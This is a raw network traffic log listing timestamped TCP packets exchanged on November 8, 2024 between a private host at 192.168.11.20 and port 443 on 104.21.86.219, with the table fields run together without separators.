                                                                                                                                          Nov 8, 2024 11:27:48.573926926 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.573976040 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.574074030 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.574655056 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.574668884 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.574856043 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.574858904 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.574902058 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.574902058 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.575470924 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.575484991 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.575700998 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.575704098 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.575750113 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.575751066 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.575845003 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.576908112 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.576935053 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.577055931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.577055931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.577101946 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.577147961 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.577150106 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.577199936 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.577249050 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.577871084 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.577879906 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.578038931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.578038931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.578042030 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.578087091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.578139067 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.578237057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.578857899 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.578866005 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.579021931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.579145908 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.579145908 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.579149961 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.579842091 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.579852104 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.579965115 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.579967976 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.580019951 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.580019951 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.580060005 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.580060005 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.580200911 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.581135988 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.581146002 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.581300974 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.581408024 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.581408024 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.581412077 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.582597017 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.582607031 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.582756996 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.582760096 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.582806110 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.582926035 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.583121061 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.583128929 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.583318949 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.583318949 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.583322048 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.583369970 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.583414078 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.583986998 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.583997011 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.584137917 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.584139109 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.584141970 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.584188938 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.584235907 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.584333897 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.584999084 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.585009098 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.585149050 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.585201025 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.585203886 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.585266113 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.585318089 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.585875988 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.585889101 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.586009026 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.586010933 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.586076975 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.586215019 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.587331057 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.587342978 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.587531090 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.587533951 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.587579966 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.587579966 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.587635994 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.588227034 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.588237047 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.588438034 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.588440895 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.588594913 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.588681936 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.588681936 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.589298010 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.589307070 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.589438915 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.589438915 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.589442015 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.589474916 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.589524031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.589524031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.589576006 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.590075970 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.590082884 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.590209961 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.590209961 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.590256929 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.590256929 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.590260029 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.590306997 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.590356112 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.590975046 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.591171026 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.591173887 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.591377020 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.591705084 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.591715097 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.591857910 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.591857910 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.591906071 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.591907978 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.591960907 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.591960907 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.592108965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.593015909 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.593025923 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.593183994 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.593183994 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.593187094 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.593231916 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.593329906 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.593379021 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.594105005 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.594114065 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.594237089 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.594288111 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.594288111 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.594290972 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.594336987 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.594382048 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.594434977 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.595058918 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.595067978 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.595263004 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.595266104 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.595313072 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.595313072 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.595458031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.595917940 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.595926046 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.596437931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.596437931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.596437931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.596441984 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.596488953 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.596488953 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.596719980 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.596944094 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.596952915 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.597138882 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.597138882 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.597142935 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.597187996 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.597187996 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.597281933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.597716093 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.597819090 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.597903013 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.597903013 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.597906113 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.598006964 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.640008926 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.778671026 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.778695107 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.778844118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.778844118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.778866053 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.778889894 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.778938055 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.778994083 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.779112101 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.779133081 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.779263020 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.779263020 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.779305935 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.779313087 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.779354095 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.779402971 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.779452085 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.779910088 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.779930115 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.780065060 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.780065060 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.780114889 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.780122995 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.780164003 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.780261993 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.780261993 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.780997038 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.781016111 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.781276941 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.781289101 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.781354904 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.781415939 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.781934977 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.781960011 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.782109976 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.782239914 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.782263994 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.782408953 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.782788992 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.782813072 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.782941103 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.783018112 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.783018112 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.783026934 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.783157110 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.784173965 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.784199953 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.784398079 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.784398079 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.784418106 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.784490108 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.784538984 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.784599066 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.784619093 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.784751892 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.784837961 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.784846067 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.784885883 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.784980059 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.785537958 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.785563946 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.785784006 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.785784960 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.785804033 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.786007881 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.786499977 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.786524057 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.786648035 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.786648035 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.786773920 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.786784887 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.786914110 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.787503004 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.787528992 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.787636042 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.787703037 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.787703037 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.787718058 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.787729025 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.787777901 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.787879944 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.788511038 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.788537025 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.788702011 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.788702011 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.788722038 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.788743973 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.788743973 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.788851976 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.789236069 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.789257050 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.789414883 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.789414883 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.789429903 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.789458990 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.789458990 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.789633989 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.790266037 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.790286064 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.790416002 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.790460110 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.790460110 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.790468931 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.790512085 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.790512085 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.790618896 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.792054892 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.792076111 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.792265892 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.792284966 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.792296886 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.792345047 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.792376041 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.792531013 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.792634964 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.792645931 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.792845964 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.793001890 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.793020964 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.793224096 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.793375015 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.793382883 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.793562889 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.793817997 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.793844938 CET44349729104.21.86.219192.168.11.20
